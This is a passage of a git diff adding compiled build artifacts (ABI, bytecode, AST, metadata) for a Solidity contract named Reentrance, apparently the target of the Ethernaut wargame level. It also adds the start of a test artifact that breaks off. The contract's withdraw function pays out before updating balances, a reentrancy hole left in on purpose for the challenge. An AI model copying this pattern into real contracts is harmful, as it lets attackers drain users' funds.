@@ +{"abi":[{"type":"receive","stateMutability":"payable"},{"type":"function","name":"balanceOf","inputs":[{"name":"_who","type":"address","internalType":"address"}],"outputs":[{"name":"balance","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"balances","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"donate","inputs":[{"name":"_to","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"withdraw","inputs":[{"name":"_amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561001057600080fd5b506102b0806100206000396000f3fe6080604052600436106100425760003560e01c8062362a951461004e57806327e235e3146100765780632e1a7d4d146100bb57806370a08231146100e557610049565b3661004957005b600080fd5b6100746004803603602081101561006457600080fd5b50356001600160a01b0316610118565b005b34801561008257600080fd5b506100a96004803603602081101561009957600080fd5b50356001600160a01b0316610157565b60408051918252519081900360200190f35b3480156100c757600080fd5b50610074600480360360208110156100de57600080fd5b5035610169565b3480156100f157600080fd5b506100a96004803603602081101561010857600080fd5b50356001600160a01b03166101e4565b6001600160a01b03811660009081526020819052604090205461013b90346101ff565b6001600160a01b03909116600090815260208190526040902055565b60006020819052908152604090205481565b3360009081526020819052604090205481116101e157604051600090339083908381818185875af1925050503d80600081146101c1576040519150601f19603f3d011682016040523d82523d6000602084013e6101c6565b606091505b50503360009081526020819052604090208054849003905550505b50565b6001600160a01b031660009081526020819052604090205490565b60008282018381101561027357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212202ce1d8ed936c90fc1b735abfb3807335b7204c45a488b8ed3ab3fb383ebcb76464736f6c634300060c0033","sourceMap":"113:654:10:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106100425760003560e01c8062362a951461004e57806327e235e3146100765780632e1a7d4d146100bb57806370a08231146100e557610049565b3661004957005b600080fd5b6100746004803603602081101561006457600080fd5b50356001600160a01b0316610118565b005b34801561008257600080fd5b506100a96004803603602081101561009957600080fd5b50356001600160a01b0316610157565b60408051918252519081900360200190f35b3480156100c757600080fd5b50610074600480360360208110156100de57600080fd5b5035610169565b3480156100f157600080fd5b506100a96004803603602081101561010857600080fd5b50356001600160a01b03166101e4565b6001600160a01b03811660009081526020819052604090205461013b90346101ff565b6001600160a01b03909116600090815260208190526040902055565b60006020819052908152604090205481565b3360009081526020819052604090205481116101e157604051600090339083908381818185875af1925050503d80600081146101c1576040519150601f19603f3d011682016040523d82523d6000602084013e6101c6565b606091505b50503360009081526020819052604090208054849003905550505b50565b6001600160a01b031660009081526020819052604090205490565b60008282018381101561027357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212202ce1d8ed936c90fc1b735abfb3807335b7204c45a488b8ed3ab3fb383ebcb76464736f6c634300060c0033","sourceMap":"113:654:10:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;222:105;;;;;;;;;;;;;;;;-1:-1:-1;222:105:10;-1:-1:-1;;;;;222:105:10;;:::i;:::-;;172:43;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;172:43:10;-1:-1:-1;;;;;172:43:10;;:::i;:::-;;;;;;;;;;;;;;;;448:282;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;448:282:10;;:::i;333:109::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;333:109:10;-1:-1:-1;;;;;333:109:10;;:::i;222:105::-;-1:-1:-1;;;;;292:13:10;;:8;:13;;;;;;;;;;;:28;;310:9;292:17;:28::i;:::-;-1:-1:-1;;;;;276:13:10;;;;:8;:13;;;;;;;;;;:44;222:105::o;172:43::-;;;;;;;;;;;;;;:::o;448:282::-;513:10;504:8;:20;;;;;;;;;;;:31;-1:-1:-1;500:224:10;;568:35;;552:11;;568:10;;591:7;;552:11;568:35;552:11;568:35;591:7;568:10;:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;691:10:10;682:8;:20;;;;;;;;;;:31;;;;;;;-1:-1:-1;;500:224:10;448:282;:::o;333:109::-;-1:-1:-1;;;;;421:14:10;387:15;421:14;;;;;;;;;;;;333:109::o;2690:175:1:-;2748:7;2779:5;;;2802:6;;;;2794:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2857:1;2690:175;-1:-1:-1;;;2690:175:1:o","linkReferences":{}},"methodIdentifiers":{"balanceOf(address)":"70a08231","balances(address)":"27e235e3","donate(address)":"00362a95","withdraw(uint256)":"2e1a7d4d"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_who\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"balance\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"}],\"name\":\"donate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"withdraw\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Reentrance.sol\":\"Reentrance\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol\":{\"keccak256\":\"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c\",\"dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR\"]},\"src/levels/Reentrance.sol\":{\"keccak256\":\"0x99686dd85ef51d4561f5d40d394a59e8d6a20e44e2390bc981ee5b34e86b7eb3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6beabb95a9ea91e5b2d5c49755211d995006a0faacfc2abcc3f87ee20ac3db9b\",\"dweb:/ipfs/QmXndG9912vkRohE1ZGz5To6W4DbDXUYpZ15M3wkWfmfBY\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_who","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"_to","type":"address"}],"stateMutability":"payable","type":"function","name":"donate"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"withdraw"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Reentrance.sol":"Reentrance"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol":{"keccak256":"0xcc78a17dd88fa5a2edc60c8489e2f405c0913b377216a5b26b35656b2d0dab52","urls":["bzz-raw://526dc85e1f9b9b45830e202568d267d93dde7a4fcccf4ad7798dadcd92304d3c","dweb:/ipfs/QmaoXMB972J3cSDLtBq3xBo4jLwqD2uzXTwujtSPqkYVhR"],"license":"MIT"},"src/levels/Reentrance.sol":{"keccak256":"0x99686dd85ef51d4561f5d40d394a59e8d6a20e44e2390bc981ee5b34e86b7eb3","urls":["bzz-raw://6beabb95a9ea91e5b2d5c49755211d995006a0faacfc2abcc3f87ee20ac3db9b","dweb:/ipfs/QmXndG9912vkRohE1ZGz5To6W4DbDXUYpZ15M3wkWfmfBY"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Reentrance.sol","id":1494,"exportedSymbols":{"Reentrance":[1493]},"nodeType":"SourceUnit","src":"32:736:10","nodes":[{"id":1414,"nodeType":"PragmaDirective","src":"32:24:10","nodes":[],"literals":["solidity","^","0.6",".12"]},{"id":1415,"nodeType":"ImportDirective","src":"58:53:10","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/math/SafeMath.sol","file":"openzeppelin-contracts-06/math/SafeMath.sol","scope":1494,"sourceUnit":465,"symbolAliases":[],"unitAlias":""},{"id":1493,"nodeType":"ContractDefinition","src":"113:654:10","nodes":[{"id":1418,"nodeType":"UsingForDirective","src":"139:27:10","nodes":[],"libraryName":{"contractScope":null,"id":1416,"name":"SafeMath","nodeType":"UserDefinedTypeName","referencedDeclaration":464,"src":"145:8:10","typeDescriptions":{"typeIdentifier":"t_contract$_SafeMath_$464","typeString":"library SafeMath"}},"typeName":{"id":1417,"name":"uint256","nodeType":"ElementaryTypeName","src":"158:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},{"id":1422,"nodeType":"VariableDeclaration","src":"172:43:10","nodes":[],"constant":false,"functionSelector":"27e235e3","mutability":"mutable","name":"balances","overrides":null,"scope":1493,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":1421,"keyType":{"id":1419,"name":"address","nodeType":"ElementaryTypeName","src":"180:7:10","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"172:27:10","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueType":{"id":1420,"name":"uint256","nodeType":"ElementaryTypeName","src":"191:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"value":null,"visibility":"public"},{"id":1440,"nodeType":"FunctionDefinition","src":"222:105:10","nodes":[],"body":{"id":1439,"nodeType":"Block","src":"266:61:10","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1437,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1427,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1422,"src":"276:8:10","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1429,"indexExpression":{"argumentTypes":null,"id":1428,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1424,"src":"285:3:10","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"276:13:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1434,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"310:3:10","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1435,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":null,"src":"310:9:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1430,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1422,"src":"292:8:10","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1432,"indexExpression":{"argumentTypes":null,"id":1431,"name":"_to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1424,"src":"301:3:10","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"292:13:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1433,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"add","nodeType":"MemberAccess","referencedDeclaration":291,"src":"292:17:10","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$bound_to$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":1436,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"292:28:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"276:44:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1438,"nodeType":"ExpressionStatement","src":"276:44:10"}]},"documentation":null,"functionSelector":"00362a95","implemented":true,"kind":"function","modifiers":[],"name":"donate","overrides":null,"parameters":{"id":1425,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1424,"mutability":"mutable","name":"_to","nodeType":"VariableDeclaration","overrides":null,"scope":1440,"src":"238:11:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1423,"name":"address","nodeType":"ElementaryTypeName","src":"238:7:10","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"237:13:10"},"returnParameters":{"id":1426,"nodeType":"ParameterList","parameters":[],"src":"266:0:10"},"scope":1493,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":1452,"nodeType":"FunctionDefinition","src":"333:109:10","nodes":[],"body":{"id":1451,"nodeType":"Block","src":"404:38:10","nodes":[],"statements":[{"expression":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1447,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1422,"src":"421:8:10","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1449,"indexExpression":{"argumentTypes":null,"id":1448,"name":"_who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1442,"src":"430:4:10","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"421:14:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":1446,"id":1450,"nodeType":"Return","src":"414:21:10"}]},"documentation":null,"functionSelector":"70a08231","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","overrides":null,"parameters":{"id":1443,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1442,"mutability":"mutable","name":"_who","nodeType":"VariableDeclaration","overrides":null,"scope":1452,"src":"352:12:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1441,"name":"address","nodeType":"ElementaryTypeName","src":"352:7:10","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"351:14:10"},"returnParameters":{"id":1446,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1445,"mutability":"mutable","name":"balance","nodeType":"VariableDeclaration","overrides":null,"scope":1452,"src":"387:15:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1444,"name":"uint256","nodeType":"ElementaryTypeName","src":"387:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"386:17:10"},"scope":1493,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":1488,"nodeType":"FunctionDefinition","src":"448:282:10","nodes":[],"body":{"id":1487,"nodeType":"Block","src":"490:240:10","nodes":[],"statements":[{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":1462,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1457,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1422,"src":"504:8:10","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1460,"indexExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1458,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"513:3:10","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1459,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"513:10:10","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"504:20:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"argumentTypes":null,"id":1461,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1454,"src":"528:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"504:31:10","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":1486,"nodeType":"IfStatement","src":"500:224:10","trueBody":{"id":1485,"nodeType":"Block","src":"537:187:10","statements":[{"assignments":[1464,null],"declarations":[{"constant":false,"id":1464,"mutability":"mutable","name":"result","nodeType":"VariableDeclaration","overrides":null,"scope":1485,"src":"552:11:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1463,"name":"bool","nodeType":"ElementaryTypeName","src":"552:4:10","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},null],"id":1472,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"","id":1470,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"600:2:10","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1465,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"568:3:10","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1466,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"568:10:10","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":1467,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"call","nodeType":"MemberAccess","referencedDeclaration":null,"src":"568:15:10","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":1469,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"argumentTypes":null,"id":1468,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1454,"src":"591:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"568:31:10","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":1471,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"568:35:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"551:52:10"},{"condition":{"argumentTypes":null,"id":1473,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1464,"src":"621:6:10","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":1477,"nodeType":"IfStatement","src":"617:52:10","trueBody":{"id":1476,"nodeType":"Block","src":"629:40:10","statements":[{"expression":{"argumentTypes":null,"id":1474,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1454,"src":"647:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1475,"nodeType":"ExpressionStatement","src":"647:7:10"}]}},{"expression":{"argumentTypes":null,"id":1483,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"baseExpression":{"argumentTypes":null,"id":1478,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1422,"src":"682:8:10","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":1481,"indexExpression":{"argumentTypes":null,"expression":{"argumentTypes":null,"id":1479,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"691:3:10","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":1480,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"sender","nodeType":"MemberAccess","referencedDeclaration":null,"src":"691:10:10","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"682:20:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"argumentTypes":null,"id":1482,"name":"_amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1454,"src":"706:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"682:31:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":1484,"nodeType":"ExpressionStatement","src":"682:31:10"}]}}]},"documentation":null,"functionSelector":"2e1a7d4d","implemented":true,"kind":"function","modifiers":[],"name":"withdraw","overrides":null,"parameters":{"id":1455,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1454,"mutability":"mutable","name":"_amount","nodeType":"VariableDeclaration","overrides":null,"scope":1488,"src":"466:15:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1453,"name":"uint256","nodeType":"ElementaryTypeName","src":"466:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"465:17:10"},"returnParameters":{"id":1456,"nodeType":"ParameterList","parameters":[],"src":"490:0:10"},"scope":1493,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":1492,"nodeType":"FunctionDefinition","src":"736:29:10","nodes":[],"body":{"id":1491,"nodeType":"Block","src":"763:2:10","nodes":[],"statements":[]},"documentation":null,"implemented":true,"kind":"receive","modifiers":[],"name":"","overrides":null,"parameters":{"id":1489,"nodeType":"ParameterList","parameters":[],"src":"743:2:10"},"returnParameters":{"id":1490,"nodeType":"ParameterList","parameters":[],"src":"763:0:10"},"scope":1493,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1493],"name":"Reentrance","scope":1494}],"license":"MIT"},"id":10} \ No newline at end of file diff --git a/contracts/out/Reentrance.t.sol/TestReentrance.json b/contracts/out/Reentrance.t.sol/TestReentrance.json new file mode 100644 index 000000000..b7e12a6f9 --- /dev/null +++ b/contracts/out/Reentrance.t.sol/TestReentrance.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct 